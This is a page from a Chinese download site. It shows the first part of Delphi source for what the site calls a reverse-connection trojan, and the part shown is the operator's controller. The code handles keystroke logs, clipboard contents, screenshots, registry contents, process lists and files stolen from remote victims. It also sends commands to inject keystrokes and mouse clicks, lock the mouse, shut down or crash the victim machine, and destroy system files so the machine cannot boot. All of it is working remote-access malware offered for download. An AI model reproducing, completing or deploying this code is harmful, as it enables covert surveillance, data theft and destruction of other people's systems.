⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 软件介绍:反弹连接木马源码 1、编译服务端。   服务端在进行编译时会提示出错 (停在“fme.SaveToFile(stf) ”段)
💻 PAS
📖 第 1 页 / 共 5 页
字号:
         savfi.Title:='请选择或输入接收到的数据保存到的文件名:';
         savfi.FileName :=FLV1.Selected.Caption ;
         if savfi.Execute then
          begin
           DOWF:=TFileStream.Create(savfi.FileName,fmCreate);
           ss.Socket.Connections[fullip].SendText('181');
          end;
        end;
     end;

182:begin
      kks:=1;
      ss.Socket.Connections[fullip].SendText('183');
    end;
184:begin
      application.MessageBox('文件接收完毕!','提示');
      DOWF.Free;
      kks:=0;
    end;
185:begin//文件查找并下载
      if cos='*' then
        application.MessageBox('文件没有找到!','提示')
      else
       begin
         savfi.Title:='请选择或输入接收到的数据保存到的文件名:';
         savfi.FileName :=cos;
         if savfi.Execute then
          begin
           DOWF:=TFileStream.Create(savfi.FileName,fmCreate);
           ss.Socket.Connections[fullip].SendText('181');
          end;
       end;
    end;
198:begin//查看文件属性
     i:=pos('>',cos);
     s:=copy(cos,1,i-1);
     cos:=copy(cos,i+1,length(cos));

     i:=pos('>',cos);
     dd:=copy(cos,1,i-1);
     cos:=copy(cos,i+1,length(cos));

     i:=pos('>',cos);
     str:=copy(cos,1,i-1);
     cos:=copy(cos,i+1,length(cos));

     fist:=pchar('文件名:'+sb.Panels.Items[0].Text+FLV1.Selected.Caption+chr(13)+chr(13)+
           '文件大小:'+s+'kb'+chr(13)+'创建时间:'+dd+chr(13)+'修改时间:'+str+chr(13)+'访问时间:'+cos);

     application.MessageBox(fist,'文件属性') ;

    end;

202: keyre.Text :=keyre.Text+chr(13)+chr(10)+formatdatetime('',Now)+'    '+chr(13)+chr(10)+ cos+chr(13)+chr(10);
     //得到键盘记录
260: syed1.Text :=cos;//得到用户名
261: syed2.Text :=cos;//得到操作系统
262: syed3.Text :=cos;//得到内存大小
263: syed4.Text :=cos;//得到组织名
280: begin//得到特殊键盘记录
      keyre.Text :=keyre.Text+chr(13)+chr(10) +cos+chr(13)+chr(10);
      KEYRS.Enabled :=true;
      ca2.Enabled :=false;
      Ok2.Enabled :=true;
     end;

301: begin//得到注册表项
     i:=pos('>>>',cos);
     ipn:=copy(cos,2,i-2);

     TN:=REGTV.Selected;
     TN.DeleteChildren;
     while pos('\',ipn)<>0 do
      begin
       i:=pos('\',ipn);
       str:=copy(ipn,1,i-1);
       ipn:=copy(ipn,i+1,length(ipn)-i);
       TD:=REGTV.Items.AddChild(TN,str);
       TD.ImageIndex:=2;
       TD.SelectedIndex:=3;
       Mrl:=Mrl+1;
      end;
      if ipn<>'' then
       begin
        TD:=REGTV.Items.AddChild(TN,ipn);
        TD.ImageIndex:=2;
        TD.SelectedIndex:=3;
        Mrl:=Mrl+1;
       end;
      sb.Panels.Items[3].Text :=inttostr(Mrl);
      REGTV.Selected.Expand(True);


     i:=pos('>>>',cos);
     ipn:=copy(cos,i+3,length(cos)-i);

     REGLV.Clear ;
     while pos('*',ipn)<>0 do
      begin
       i:=pos('*',ipn);
       str:=copy(ipn,1,i-1);
       ipn:=copy(ipn,i+1,length(ipn)-i);
       Lem:=REGLV.Items.Add;
       Lem.Caption:=str;

       i:=pos('*',ipn);
       str:=copy(ipn,1,i-1);
       ipn:=copy(ipn,i+1,length(ipn)-i);
       if str='REG_SZ' then
         Lem.StateIndex:=4
       else
         Lem.StateIndex:=5;

       Lem.SubItems.Add(str);

       i:=pos('*',ipn);
       str:=copy(ipn,1,i-1);
       ipn:=copy(ipn,i+1,length(ipn)-i);
       Lem.SubItems.Add(str);
      end;
     end;
385: IEE1.Text := cos;
387: IEE2.Text := cos;
401: begin//得到进程
      jcbox.Items.Text:=cos; //得取对方进程
      jcl2.Caption :=inttostr(jcbox.Items.Count);
     end;
501: cked1.Text :=cos;//得到对方当前活动窗体名
506: clipm.Text :=cos;//得到剪贴板的内容
701: begin //显示图片
      if MySize = 0 then {MySize为服务端发送的字节数,如果为0表示为尚未开始图象接收}
       begin
        S := cos;
        MySize := Strtoint(S); {设置需接收的字节数}
        ss.Socket.Connections[fullip].SendText('702');
        {发指令通知服务端开始发送图象}
        fscreen:= 'gifs';
       end
     end;

998: begin
       application.MessageBox('文件已上传成功!','提示');
       form2.Visible :=false;
     end;
999: begin//客户断开时
       if cos=ipns.Text then
        begin
         cle();
         application.MessageBox('当前连接断开,请重新选择受控主机!','请注意');
         mainpc.Enabled :=false;
         ipns.Text :='请选择要控制的IP!';
         ipvi.Clear ;
         ss.Active :=false;
         ss.Active :=true;
         exit;
        end;

       for i:=0 to ipvi.Items.Count -1 do
        if ipvi.Items[i].Caption= ipns.Text then
         begin
          sb.Panels.Items[1].Text :=inttostr(i);
          fullip:=i;
          ipvi.Items[i].SubItems.Text :='★';
         end
        else
          ipvi.Items[i].SubItems.Text :='就绪';
     end;
  end;
end;

procedure TForm1.JCB1Click(Sender: TObject);
begin//刷新列表
  command('401');
end;

procedure TForm1.JCB2Click(Sender: TObject);
begin//结束进程
  if JCBOX.ItemIndex=-1 then exit;
  if  application.MessageBox('你真的要这样吗?','警告',mb_yesno)=idyes then
    command('402'+JCBOX.Items.Strings[JCBOX.itemindex]);
end;

procedure TForm1.ccb1Click(Sender: TObject);
var sst:string;
    speak,tit:pchar;
    lo,i:integer;
begin//本机消息预览
 if rr1.Checked =true then
   sst:='1'
 else if rr2.Checked =true then
   sst:='2'
 else if rr3.Checked =true then
   sst:='3'
 else if rr4.Checked =true then
   sst:='4';

   lo:=length(xxcb1.Text);
   if lo<12 then
    for i:=1 to 12-lo do
     xxcb1.Text :=xxcb1.Text +' ';

   i:=xxcb3.ItemIndex;
   speak:=pchar(xxcb2.Text);
   if  xxcb2.Text <>'' then
   begin
     tit:=pchar(XXCB1.Text);
     IF sst='1' THEN
      APPLICATION.MessageBox(speak,tit,MB_ICONHAND+i)
     ELSE IF sst='2' THEN
      APPLICATION.MessageBox(speak,tit,MB_ICONASTERISK+i)
     ELSE IF sst='3' THEN
      APPLICATION.MessageBox(speak,tit,MB_ICONWARNING+i)
     ELSE IF sst='4' THEN
      APPLICATION.MessageBox(speak,tit,MB_ICONQUESTION+i);
   end;
end;

procedure TForm1.ccb2Click(Sender: TObject);
var sst:string;
    lo,i:integer;
begin//发消息时
 if rr1.Checked =true then
   sst:='1'
 else if rr2.Checked =true then
   sst:='2'
 else if rr3.Checked =true then
   sst:='3'
 else if rr4.Checked =true then
   sst:='4';
   lo:=length(xxcb1.Text);
   if lo<12 then
    for i:=1 to 12-lo do
     xxcb1.Text :=xxcb1.Text +' ';
   if  xxcb2.Text <>'' then
    ss.Socket.Connections[fullip].SendText('403'+sst+xxcb1.Text+xxcb2.Text+inttostr(xxcb3.ItemIndex));
end;

procedure TForm1.IPVIDblClick(Sender: TObject);
var st:pchar;
begin//点击IP地址时
  if ipvi.ItemIndex =-1 then exit;
  if copy(ipvi.Items[IPVI.Selected.Index].SubItems.Text,1,4) ='断开' then exit;
  if length(pased.Text)=0 then
   begin
    application.MessageBox('请在密码框内输入登录密码','注意' );
    exit;
   end;

  ss.Socket.Connections[IPVI.Selected.Index].SendText('007'+pased.Text);
end;

procedure TForm1.firstbtClick(Sender: TObject);
begin
  ipvi.Clear ;
  ss.Active :=false;
  conti.Enabled :=true;
end;

procedure TForm1.keybgClick(Sender: TObject);
begin//开始键盘记录
  command('201');
  keybg.Enabled :=false;
  keyen.Enabled :=true;
  GGSS.Enabled :=false;
end;

procedure TForm1.keyenClick(Sender: TObject);
begin//停止键盘记录
  command('202');
  keysav.Enabled :=true;
  keybg.Enabled :=true;
  keyen.Enabled :=false;
  GGSS.Enabled :=true;
end;

procedure TForm1.keysavClick(Sender: TObject);
var satxt:textfile;
    na:string;
begin//键盘记录保存
    savfi.Title:='请选择要保存为的文件名:';
    if savfi.Execute then
     begin
      assignfile(satxt,savfi.FileName );
      rewrite(satxt);
      na:=keyre.Text;
      writeln(satxt,na);
      closefile(satxt);
      keysav.Enabled :=false;
     end;
end;

procedure TForm1.key1Click(Sender: TObject);
begin//ESC
  command('203');
end;

procedure TForm1.key2Click(Sender: TObject);
begin// ←
  command('204');
end;

procedure TForm1.key3Click(Sender: TObject);
begin//删除
  command('205');
  command('');
end;

procedure TForm1.key4Click(Sender: TObject);
begin// 上页
  command('206');
end;

procedure TForm1.key5Click(Sender: TObject);
begin// 回车
  command('207');
end;

procedure TForm1.key6Click(Sender: TObject);
begin// 下页
  command('208');
end;

procedure TForm1.key7Click(Sender: TObject);
begin// TAB
  command('209');
end;

procedure TForm1.key8Click(Sender: TObject);
begin// ALT+F4
  command('210');
end;

procedure TForm1.key9Click(Sender: TObject);
begin//CTRL+A
  command('211');
end;

procedure TForm1.key10Click(Sender: TObject);
begin//上
  command('212');
end;

procedure TForm1.key11Click(Sender: TObject);
begin// 下
  command('213');
end;

procedure TForm1.key12Click(Sender: TObject);
begin// 左
  command('214');
end;

procedure TForm1.key13Click(Sender: TObject);
begin// 右
  command('215');
end;

procedure TForm1.clreClick(Sender: TObject);
begin//键盘记录列表清空
  keyre.Clear;
end;

procedure TForm1.MB3Click(Sender: TObject);
var mx,my,mkse:string;
    i:integer;
begin//鼠标击键命令
   mx:=ME1.Text;//X坐标
   if length(mx)<4 then
   for i:=1 to 4-length(mx) do
     mx:='0'+mx;
   my:=ME2.Text;//Y坐标
   if length(my)<4 then
   for i:=1 to 4-length(my) do
     my:='0'+my;

   if MR1.Checked =true then//单击
      mkse:='1'
   else if MR2.Checked =true then//双击
      mkse:='2'
   else if MR3.Checked =true then//右击
      mkse:='3';
  command('218'+mx+my+mkse);
end;

procedure TForm1.MB1Click(Sender: TObject);
begin//锁鼠标
  command('219');
  mb2.Enabled :=true;
  mb1.Enabled :=false;
end;

procedure TForm1.MB2Click(Sender: TObject);
begin//解除锁鼠标
  command('220');
  mb1.Enabled :=true;
  mb2.Enabled :=false;
end;
      
procedure TForm1.key16Click(Sender: TObject);
begin// 开光驱
  command('221');
end;

procedure TForm1.key17Click(Sender: TObject);
begin//关光驱
  command('222');
end;

procedure TForm1.BitBtn2Click(Sender: TObject);
begin//关机
 if  application.MessageBox('你真的要这样吗?','警告',mb_yesno)=idno then exit;
   command('223');
   form1.ipvi.Clear ;
   form1.ss.Active :=false;
   form1.conti.Enabled :=true;
   form1.mainpc.ActivePage :=form1.TS1;
   form1.mainpc.Enabled :=false;
end;

procedure TForm1.BitBtn3Click(Sender: TObject);
begin//注销
   command('224');
   cle();
   form1.ipvi.Clear ;
   form1.ss.Active :=false;
   form1.conti.Enabled :=true;
   form1.mainpc.ActivePage :=form1.TS1;
   form1.mainpc.Enabled :=false;
end;

procedure TForm1.BitBtn4Click(Sender: TObject);
begin//重启
   command('225');
   cle();
   form1.ipvi.Clear ;
   form1.ss.Active :=false;
   form1.conti.Enabled :=true;
   form1.mainpc.ActivePage :=form1.TS1;
   form1.mainpc.Enabled :=false;
end;

procedure TForm1.BitBtn5Click(Sender: TObject);
begin//死机
 if  application.MessageBox('你真的要这样吗?','警告',mb_yesno)=idno then exit;
   command('230');
   form1.ipvi.Clear ;
   form1.ss.Active :=false;
   form1.conti.Enabled :=true;
   form1.mainpc.ActivePage :=form1.TS1;
   form1.mainpc.Enabled :=false;
end;

procedure TForm1.BitBtn6Click(Sender: TObject);
begin//破坏系统文件
 if  application.MessageBox('这个操作会另对方系统崩溃!会造成对方电脑不能启动!'+chr(13)+'你真的要这样吗???','严重警告!!!',mb_yesno)=idyes then
   if application.MessageBox('你真的考虑清楚了吗?','严重警告!!!!!!',mb_yesno)=idyes then
  command('240');
end;

procedure TForm1.CBAClick(Sender: TObject);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -